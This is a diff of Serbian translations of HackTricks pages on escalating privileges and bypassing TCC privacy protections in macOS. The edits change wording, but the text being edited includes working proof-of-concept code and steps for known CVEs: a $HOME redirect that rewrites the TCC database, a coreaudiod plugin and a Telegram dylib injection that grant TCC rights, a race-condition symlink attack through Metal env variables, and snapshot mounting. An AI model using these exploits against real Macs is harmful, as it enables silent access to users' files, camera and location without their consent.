||||
|
@ -516,9 +518,9 @@ EOF
|
|||
```
|
||||
### `kTCCServiceAccessibility` ka FDA\*
|
||||
|
||||
Proverite ovu stranicu za neke [**payload-ove za zloupotrebu dozvola za pristupačnost**](macos-tcc-payloads.md#accessibility) kako biste postigli privilegovan pristup do FDA\* ili na primer pokrenuli keylogger.
|
||||
Proverite ovu stranicu za neke [**payload-ove za zloupotrebu dozvola za pristupačnost**](macos-tcc-payloads.md#accessibility) kako biste postigli privilegije eskalacije do FDA\* ili na primer pokrenuli keylogger.
|
||||
|
||||
### **Klijent za bezbednost krajnjih tačaka ka FDA**
|
||||
### Klijent za bezbednost krajnjih tačaka ka FDA
|
||||
|
||||
Ako imate **`kTCCServiceEndpointSecurityClient`**, imate FDA. Kraj.
|
||||
|
||||
|
@ -528,15 +530,15 @@ Ako imate **`kTCCServiceEndpointSecurityClient`**, imate FDA. Kraj.
|
|||
|
||||
### Korisnička TCC baza podataka ka FDA
|
||||
|
||||
Dobijanjem **dozvola za pisanje** nad **korisničkom TCC** bazom podataka ne možete sebi dodeliti **`FDA`** dozvole, samo onaj koji živi u sistemskoj bazi podataka može to da dodeli.
|
||||
Dobijanjem **dozvola za pisanje** nad **korisničkom TCC** bazom podataka ne možete sebi dodeliti **`FDA`** dozvole, samo onaj koji se nalazi u sistemskoj bazi podataka može to da dodeli.
|
||||
|
||||
Ali možete sebi dati **`Automatizaciju prava za Finder`**, i zloupotrebiti prethodnu tehniku za eskalaciju do FDA\*.
|
||||
|
||||
### **FDA ka TCC dozvolama**
|
||||
|
||||
**Pristup celom disku** u TCC-u se naziva **`kTCCServiceSystemPolicyAllFiles`**
|
||||
**Pristup celom disku** u TCC naziv je **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Ne mislim da je ovo pravi pristup privilegijama, ali u slučaju da vam bude korisno: Ako kontrolišete program sa FDA možete **modifikovati korisničku TCC bazu podataka i sebi dodeliti bilo kakav pristup**. Ovo može biti korisno kao tehnika upornosti u slučaju da izgubite svoje FDA dozvole.
|
||||
Ne mislim da je ovo prava eskalacija privilegija, ali u slučaju da vam bude korisno: Ako kontrolišete program sa FDA možete **modifikovati korisničku TCC bazu podataka i sebi dodeliti bilo kakav pristup**. Ovo može biti korisno kao tehnika upornosti u slučaju da izgubite svoje FDA dozvole.
|
||||
|
||||
### **SIP zaobilazak ka TCC zaobilasku**
|
||||
|
||||
|
@ -547,15 +549,13 @@ Sistem **TCC baza podataka** je zaštićena sa **SIP**, zbog toga samo procesi s
|
|||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
Međutim, postoji još jedna opcija za zloupotrebu ovog **SIP zaobilaska za zaobilaženje TCC-a**, fajl `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` je lista aplikacija koje zahtevaju TCC izuzetak. Dakle, ako napadač može **ukloniti SIP zaštitu** sa ovog fajla i dodati svoju **sopstvenu aplikaciju** aplikacija će moći da zaobiđe TCC.\
|
||||
Međutim, postoji još jedna opcija za zloupotrebu ovog **SIP zaobilaska za zaobilaženje TCC**, fajl `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` je lista aplikacija koje zahtevaju TCC izuzetak. Dakle, ako napadač može **ukloniti SIP zaštitu** sa ovog fajla i dodati svoju **sopstvenu aplikaciju**, aplikacija će moći da zaobiđe TCC.\
|
||||
Na primer, da dodate terminal:
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
```
|
||||
```plaintext
|
||||
DozvoljeneAplikacijeLista.plist:
|
||||
```
|
||||
AllowApplicationsList.plist:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -578,7 +578,7 @@ DozvoljeneAplikacijeLista.plist:
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### TCC Bypassi
|
||||
### TCC Bypassovi
|
||||
|
||||
{% content-ref url="macos-tcc-bypasses/" %}
|
||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
||||
|
@ -597,10 +597,10 @@ DozvoljeneAplikacijeLista.plist:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -18,7 +18,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
### Bypass za pisanje
|
||||
|
||||
Ovo nije zaobilazak, to je samo kako TCC radi: **Ne štiti od pisanja**. Ako Terminal **nema pristup čitanju Desktop-a korisnika, i dalje može da piše u njega**:
|
||||
Ovo nije zaobilazak, to je samo kako TCC radi: **Ne štiti od pisanja**. Ako Terminal **nema pristup čitanju Desktop-a korisnika, i dalje može pisati u njega**:
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
|
@ -65,7 +65,7 @@ Imajte na umu da sada, da biste mogli omogućiti SSH, potrebno je imati **Pristu
|
|||
|
||||
### Obrada ekstenzija - CVE-2022-26767
|
||||
|
||||
Atribut **`com.apple.macl`** dodeljuje se fajlovima kako bi dala **određenoj aplikaciji dozvole za čitanje**. Ovaj atribut se postavlja kada se **prevuče i ispusti** fajl preko aplikacije, ili kada korisnik **dvaput klikne** na fajl da ga otvori sa **podrazumevanom aplikacijom**.
|
||||
Atribut **`com.apple.macl`** dodeljuje se fajlovima kako bi dala **određenoj aplikaciji dozvole da ga pročita**. Ovaj atribut se postavlja kada se **prevuče i ispusti** fajl preko aplikacije, ili kada korisnik **dvaput klikne** na fajl da ga otvori sa **podrazumevanom aplikacijom**.
|
||||
|
||||
Stoga, korisnik bi mogao **registrovati zlonamernu aplikaciju** da obradi sve ekstenzije i pozove Launch Services da **otvori** bilo koji fajl (tako da će zlonamerni fajl dobiti pristup za čitanje).
|
||||
|
||||
|
@ -127,10 +127,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
|||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
**tccd daemon** u korisničkom prostoru koristi **`HOME`** **env** promenljivu za pristup bazi podataka korisnika TCC iz: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
**tccd daemon** u korisničkom prostoru koristi **`HOME`** **env** promenljivu za pristup TCC korisničkoj bazi podataka iz: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
Prema [ovom Stack Exchange postu](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) i zato što tccd daemon radi putem `launchd` unutar domena trenutnog korisnika, moguće je **kontrolisati sve environment promenljive** koje mu se prosleđuju.\
|
||||
Stoga, **napadač može postaviti `$HOME` environment** promenljivu u **`launchctl`** da pokazuje na **kontrolisani direktorijum**, **restartovati** **TCC** daemon, a zatim **direktno izmeniti TCC bazu podataka** kako bi sebi dao **sve dostupne TCC privilegije** bez ikakvog upita korisniku.\
|
||||
Prema [ovom Stack Exchange postu](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) i zato što TCC daemon radi putem `launchd` unutar trenutne korisničke domene, moguće je **kontrolisati sve environment promenljive** koje mu se prosleđuju.\
|
||||
Stoga, **napadač može postaviti `$HOME` environment** promenljivu u **`launchctl`** da pokazuje na **kontrolisani** **direktorijum**, **restartovati** **TCC** daemon, a zatim **direktno izmeniti TCC bazu podataka** kako bi sebi dao **sve dostupne TCC privilegije** bez ikakvog upita korisniku.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
|
@ -160,7 +160,7 @@ $> ls ~/Documents
|
|||
```
|
||||
### CVE-2021-30761 - Beleške
|
||||
|
||||
Beleške su imale pristup TCC zaštićenim lokacijama, ali kada se napravi beleška, ona se **kreira na nezaštićenoj lokaciji**. Dakle, mogli ste zatražiti od beleški da kopiraju zaštićenu datoteku u belešku (tako da se nalazi na nezaštićenoj lokaciji) i zatim pristupiti datoteci:
|
||||
Beleške su imale pristup TCC zaštićenim lokacijama, ali kada se napravi beleška, ona se **kreira na lokaciji koja nije zaštićena**. Dakle, mogli ste zatražiti od beleški da kopiraju zaštićenu datoteku u belešku (tako da se nalazi na lokaciji koja nije zaštićena) i zatim pristupiti datoteci:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -172,18 +172,18 @@ Bilo je moguće dodati karantin atribut za "Library", pozvati XPC servis **`com.
|
|||
|
||||
### CVE-2023-38571 - Muzika & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Muzika`** ima zanimljivu funkciju: Kada se pokrene, ona će **uvoziti** fajlove koji su prevučeni u **`~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized`** u korisnikov "medijski biblioteku". Osim toga, poziva nešto poput: **`rename(a, b);`** gde su `a` i `b`:
|
||||
**`Muzika`** ima zanimljivu funkciju: Kada se pokrene, uvešće datoteke koje su spuštene u **`~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized`** u korisnikov "medijski biblioteku". Osim toga, poziva nešto poput: **`rename(a, b);`** gde su `a` i `b`:
|
||||
|
||||
* `a = "~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized/mojfajl.mp3"`
|
||||
* `b = "~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized/Nije dodato.localized/2023-09-25 11.06.28/mojfajl.mp3`
|
||||
* `a = "~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized/mojafajl.mp3"`
|
||||
* `b = "~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized/Nije dodato.localized/2023-09-25 11.06.28/mojafajl.mp3`
|
||||
|
||||
Ova **`rename(a, b);`** funkcionalnost je ranjiva na **Trku stanja**, jer je moguće staviti lažnu **TCC.db** datoteku unutar foldera `Automatski dodaj u Muziku.localized`, a zatim kada se kreira novi folder(b), kopirati datoteku, obrisati je, i usmeriti je ka **`~/Biblioteka/Application Support/com.apple.TCC`**/.
|
||||
Ova **`rename(a, b);`** funkcionalnost je ranjiva na **Trku stanja**, jer je moguće staviti lažnu **TCC.db** datoteku unutar foldera `Automatski dodaj u Muziku.localized`, a zatim kada se kreira novi folder(b) da se kopira datoteka, obriše i usmeri ka **`~/Biblioteka/Podrška Aplikacije/com.apple.TCC`**/.
|
||||
|
||||
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
|
||||
|
||||
Ako je **`SQLITE_SQLLOG_DIR="putanja/folder"`** to u osnovi znači da će **svaka otvorena baza podataka biti kopirana na tu putanju**. U ovom CVE-u, ova kontrola je zloupotrebljena kako bi se **pisalo** unutar **SQLite baze podataka** koja će biti **otvorena od strane procesa sa FDA bazom podataka TCC**, a zatim zloupotrebiti **`SQLITE_SQLLOG_DIR`** sa **simboličkom vezom u nazivu fajla** tako da kada se ta baza podataka **otvori**, korisnikova **TCC.db će biti prebrisana** otvorenom bazom.
|
||||
Ako je **`SQLITE_SQLLOG_DIR="putanja/folder"`** to u osnovi znači da će **svaka otvorena baza podataka biti kopirana na tu putanju**. U ovom CVE-u, ova kontrola je zloupotrebljena kako bi se **pisalo** unutar **SQLite baze podataka** koja će biti **otvorena od strane procesa sa FDA bazom podataka TCC**, a zatim zloupotrebljena **`SQLITE_SQLLOG_DIR`** sa **simboličkom vezom u imenu datoteke** tako da kada se ta baza podataka **otvori**, korisnikova **TCC.db će biti prebrisana** otvorenom bazom.
|
||||
|
||||
**Više informacija** [**u analizi**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **i** [**u prezentaciji**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
|
||||
**Više informacija** [**u objašnjenju**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **i** [**u predavanju**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
|
||||
|
||||
### **SQLITE\_AUTO\_TRACE**
|
||||
|
||||
|
@ -196,34 +196,34 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
|||
```
|
||||
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
|
||||
|
||||
Ova **env promenljiva se koristi od strane `Metal` okvira** koji je zavisnost za različite programe, posebno `Music`, koji ima FDA.
|
||||
Ova **env promenljiva se koristi od strane `Metal` okvira** koji je zavistan od različitih programa, najznačajnije `Music`, koji ima FDA.
|
||||
|
||||
Postavljanjem sledećeg: `MTL_DUMP_PIPELINES_TO_JSON_FILE="putanja/naziv"`. Ako je `putanja` validan direktorijum, bag će biti aktiviran i možemo koristiti `fs_usage` da vidimo šta se dešava u programu:
|
||||
|
||||
* biće `otvoren()` fajl nazvan `putanja/.dat.nosyncXXXX.XXXXXX` (X je nasumičan)
|
||||
* jedan ili više `write()`-ova će upisati sadržaj u fajl (mi ne kontrolišemo ovo)
|
||||
* jedan ili više `write()` će upisati sadržaj u fajl (mi ne kontrolišemo ovo)
|
||||
* `putanja/.dat.nosyncXXXX.XXXXXX` će biti preimenovan u `putanja/naziv`
|
||||
|
||||
To je privremeni upis fajla, praćen **`preimenovanjem(stari, novi)`** **što nije sigurno.**
|
||||
|
||||
Nije sigurno jer mora **da reši stare i nove putanje odvojeno**, što može potrajati neko vreme i može biti ranjivo na Trku Stanja. Za više informacija možete proveriti `xnu` funkciju `renameat_internal()`.
|
||||
Nije sigurno jer mora **da reši stare i nove putanje odvojeno**, što može potrajati i biti ranjivo na Trku Stanja. Za više informacija možete proveriti `xnu` funkciju `renameat_internal()`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dakle, ako privilegovani proces preimenuje iz foldera koji kontrolišete, možete dobiti RCE i naterati ga da pristupi drugom fajlu ili, kao u ovom CVE-u, otvoriti fajl koji je privilegovana aplikacija kreirala i sačuvati FD.
|
||||
|
||||
Ako preimenovanje pristupi folderu koji kontrolišete, dok ste modifikovali izvorni fajl ili imate FD do njega, promenite destinacioni fajl (ili folder) da pokazuje na simboličnu vezu, tako da možete pisati kad god želite.
|
||||
Ako preimenovanje pristupi folderu koji kontrolišete, dok ste modifikovali izvorni fajl ili imate FD do njega, promenite destinacioni fajl (ili folder) da pokazuje na simbolički link, tako da možete pisati kad god želite.
|
||||
{% endhint %}
|
||||
|
||||
Ovo je bio napad u CVE-u: Na primer, da prepišemo korisnikov `TCC.db`, možemo:
|
||||
|
||||
* kreirati `/Users/hacker/nasalink` da pokazuje na `/Users/hacker/Library/Application Support/com.apple.TCC/`
|
||||
* kreirati `/Users/hacker/ourlink` da pokazuje na `/Users/hacker/Library/Application Support/com.apple.TCC/`
|
||||
* kreirati direktorijum `/Users/hacker/tmp/`
|
||||
* postaviti `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
|
||||
* aktivirati bag pokretanjem `Music` sa ovom env varijablom
|
||||
* uhvatiti `open()` `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X je nasumičan)
|
||||
* ovde takođe `otvoriti()` ovaj fajl za pisanje, i zadržati file deskriptor
|
||||
* atomički zameniti `/Users/hacker/tmp` sa `/Users/hacker/nasalink` **u petlji**
|
||||
* ovo radimo da bismo maksimizirali šanse za uspeh jer je prozor trke prilično uzak, ali gubitak trke ima zanemarljive posledice
|
||||
* atomički zameniti `/Users/hacker/tmp` sa `/Users/hacker/ourlink` **u petlji**
|
||||
* ovo radimo da bismo maksimizirali šanse za uspeh jer je prozor trke prilično kratak, ali gubitak trke ima zanemarljive posledice
|
||||
* sačekati malo
|
||||
* testirati da li smo imali sreće
|
||||
* ako ne, ponovo pokrenuti od početka
|
||||
|
@ -236,7 +236,7 @@ Sada, ako pokušate da koristite env promenljivu `MTL_DUMP_PIPELINES_TO_JSON_FIL
|
|||
|
||||
### Apple Remote Desktop
|
||||
|
||||
Kao root možete omogućiti ovu uslugu i **ARD agent će imati pun pristup disku** što korisnik može zloupotrebiti da ga natera da kopira novu **TCC korisničku bazu podataka**.
|
||||
Kao root možete omogućiti ovu uslugu i **ARD agent će imati pun pristup disku** što korisnik može zloupotrebiti da natera da kopira novu **TCC korisničku bazu podataka**.
|
||||
|
||||
## Preko **NFSHomeDirectory**
|
||||
|
||||
|
@ -275,21 +275,21 @@ Postoje različite tehnike za ubacivanje koda unutar procesa i zloupotrebu njego
|
|||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Osim toga, najčešće ubacivanje procesa zaobići TCC je pronađeno putem **dodataka (učitavanje biblioteke)**.\
|
||||
Dodaci su dodatni kod obično u obliku biblioteka ili plist, koji će biti **učitani od strane glavne aplikacije** i izvršavati se pod njenim kontekstom. Stoga, ako glavna aplikacija ima pristup TCC ograničenim fajlovima (putem odobrenih dozvola ili privilegija), **prilagođeni kod će takođe imati pristup**.
|
||||
Osim toga, najčešće ubacivanje procesa zaobiđući TCC je putem **dodataka (učitavanje biblioteke)**.\
|
||||
Dodaci su dodatni kod obično u obliku biblioteka ili plist-a, koji će biti **učitani od strane glavne aplikacije** i izvršavati se pod njenim kontekstom. Stoga, ako glavna aplikacija ima pristup TCC ograničenim fajlovima (putem odobrenih dozvola ili privilegija), **prilagođeni kod će takođe imati pristup**.
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
Aplikacija `/System/Library/CoreServices/Applications/Directory Utility.app` imala je privilegiju **`kTCCServiceSystemPolicySysAdminFiles`**, učitane dodatke sa **`.daplug`** ekstenzijom i **nije imala ojačan** runtime.
|
||||
Aplikacija `/System/Library/CoreServices/Applications/Directory Utility.app` imala je privilegiju **`kTCCServiceSystemPolicySysAdminFiles`**, učitavala je dodatke sa ekstenzijom **`.daplug`** i **nije imala ojačan** runtime.
|
||||
|
||||
Da bi se oružao ovaj CVE, **`NFSHomeDirectory`** je **promenjen** (zloupotrebljavajući prethodnu privilegiju) kako bi se moglo **preuzeti korisničku TCC bazu podataka** zaobići TCC.
|
||||
Da bi se iskoristio ovaj CVE, **`NFSHomeDirectory`** je **promenjen** (zloupotrebljavajući prethodnu privilegiju) kako bi se moglo **preuzeti korisničku TCC bazu podataka** zaobišavajući TCC.
|
||||
|
||||
Za više informacija pogledajte [**originalni izveštaj**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
Binarni fajl **`/usr/sbin/coreaudiod`** imao je dozvole `com.apple.security.cs.disable-library-validation` i `com.apple.private.tcc.manager`. Prva dozvola omogućavala je **ubacivanje koda**, a druga mu je dala pristup za **upravljanje TCC**.
|
||||
|
||||
Ovaj binarni fajl je omogućavao učitavanje **dodatnih plug-ina** iz foldera `/Library/Audio/Plug-Ins/HAL`. Stoga je bilo moguće **učitati plugin i zloupotrebiti TCC dozvole** pomoću ovog PoC-a:
|
||||
Ovaj binarni fajl je omogućavao učitavanje **dodatnih plug-ina** iz foldera `/Library/Audio/Plug-Ins/HAL`. Stoga je bilo moguće **učitati dodatak i zloupotrebiti TCC dozvole** pomoću ovog PoC-a:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
@ -316,13 +316,13 @@ add_tcc_entry();
|
|||
NSLog(@"[+] Exploitation finished...");
|
||||
exit(0);
|
||||
```
|
||||
Za više informacija proverite [**originalni izveštaj**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
|
||||
Za više informacija pogledajte [**originalni izveštaj**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
|
||||
|
||||
### Dodaci sloja apstrakcije uređaja (DAL)
|
||||
|
||||
Sistemski programi koji otvaraju video strim preko Core Media I/O (aplikacije sa **`kTCCServiceCamera`**) učitavaju **u proces ove dodatke** smeštene u `/Library/CoreMediaIO/Plug-Ins/DAL` (neograničeno od strane SIP-a).
|
||||
Sistemski programi koji otvaraju video strim preko Core Media I/O (aplikacije sa **`kTCCServiceCamera`**) učitavaju **u proces ove dodatke** smeštene u `/Library/CoreMediaIO/Plug-Ins/DAL` (neograničeno SIP-om).
|
||||
|
||||
Dovoljno je samo sačuvati biblioteku sa uobičajenim **konstruktorom** kako bi se uspešno izvršio **ubacivanje koda**.
|
||||
Dovoljno je samo sačuvati tamo biblioteku sa uobičajenim **konstruktorom** da bi se uspešno izvršio **ubacivanje koda**.
|
||||
|
||||
Nekoliko Apple aplikacija je bilo ranjivo na ovo.
|
||||
|
||||
|
@ -364,7 +364,7 @@ Binarni fajl `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` imao je
|
|||
|
||||
Telegram je imao dozvole **`com.apple.security.cs.allow-dyld-environment-variables`** i **`com.apple.security.cs.disable-library-validation`**, tako da je bilo moguće zloupotrebiti ih kako bi se **dobio pristup njenim dozvolama** poput snimanja kamerom. Možete [**pronaći payload u analizi**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Primetite kako se koristi env promenljiva da bi se učitao library, **prilagođeni plist** je kreiran da ubaci ovaj library i **`launchctl`** je korišćen da ga pokrene:
|
||||
Primetite kako se koristi env promenljiva da bi se učitao library, kreiran je **custom plist** da bi se ubacio ovaj library i **`launchctl`** je korišćen da ga pokrene:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -400,7 +400,7 @@ Moguće je pozvati **`open`** čak i dok je sandbox aktiviran
|
|||
|
||||
### Terminalni skriptovi
|
||||
|
||||
Često je uobičajeno dati terminalu **Pristup punom disku (FDA)**, barem na računarima koje koriste tehničari. I moguće je pozvati **`.terminal`** skriptove koristeći ga.
|
||||
Često je uobičajeno dati terminalu **Pristup punom disku (FDA)**, barem na računarima koje koriste tehničari. I moguće je pozvati skriptove **`.terminal`** koristeći ga.
|
||||
|
||||
**`.terminal`** skriptovi su plist fajlovi poput ovog sa komandom za izvršavanje u ključu **`CommandString`**:
|
||||
```xml
|
||||
|
@ -420,7 +420,7 @@ Moguće je pozvati **`open`** čak i dok je sandbox aktiviran
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Aplikacija bi mogla napisati terminalni skriptu na lokaciji poput /tmp i pokrenuti je sa komandom:
|
||||
Aplikacija bi mogla napisati terminalni skriptu na lokaciji poput /tmp i pokrenuti je sa komandom poput:
|
||||
```objectivec
|
||||
// Write plist in /tmp/tcc.terminal
|
||||
[...]
|
||||
|
@ -433,10 +433,10 @@ exploit_location]; task.standardOutput = pipe;
|
|||
```
|
||||
## Montiranjem
|
||||
|
||||
### CVE-2020-9771 - mount\_apfs TCC zaobilaženje i eskalacija privilegija
|
||||
### CVE-2020-9771 - TCC zaobilazak i eskalacija privilegija putem montiranja `mount_apfs`
|
||||
|
||||
**Bilo koji korisnik** (čak i neprivilegovani) može kreirati i montirati snimak vremenske mašine i **pristupiti SVIM datotekama** tog snimka.\
|
||||
**Jedina privilegija** potrebna je za aplikaciju koja se koristi (kao što je `Terminal`) da ima **Pristup celom disku** (FDA) (`kTCCServiceSystemPolicyAllfiles`) koja mora biti odobrena od strane administratora.
|
||||
**Bilo koji korisnik** (čak i neprivilegovani) može kreirati i montirati snapshot vremenske mašine i **pristupiti SVIM datotekama** tog snimka.\
|
||||
Jedino što je potrebno je da aplikacija koja se koristi (kao što je `Terminal`) ima **Pristup celom disku** (Full Disk Access - FDA) (`kTCCServiceSystemPolicyAllfiles`) koji mora biti odobren od strane administratora.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -493,8 +493,8 @@ Alat **`/usr/sbin/asr`** omogućavao je kopiranje celog diska i montiranje na dr
|
|||
|
||||
### Lokacijske usluge
|
||||
|
||||
Postoji treća TCC baza podataka u **`/var/db/locationd/clients.plist`** koja označava klijente koji imaju dozvolu da **pristupe lokacijskim uslugama**.\
|
||||
Folder **`/var/db/locationd/` nije bio zaštićen od DMG montiranja** pa je bilo moguće montirati naš plist.
|
||||
Postoji treća TCC baza podataka u **`/var/db/locationd/clients.plist`** koja označava klijente koji su dozvoljeni da **pristupe lokacijskim uslugama**.\
|
||||
Folder **`/var/db/locationd/` nije bio zaštićen od montiranja DMG-a** pa je bilo moguće montirati naš plist.
|
||||
|
||||
## Preko aplikacija koje se pokreću pri pokretanju sistema
|
||||
|
||||
|
@ -512,11 +512,11 @@ U nekoliko situacija, fajlovi će čuvati osetljive informacije poput email adre
|
|||
|
||||
Ovo više ne funkcioniše, ali je [**funkcionisalo u prošlosti**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Drugi način korišćenjem [**CoreGraphics događaja**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Reference
|
||||
|
||||
|
|
|
@ -6,9 +6,9 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
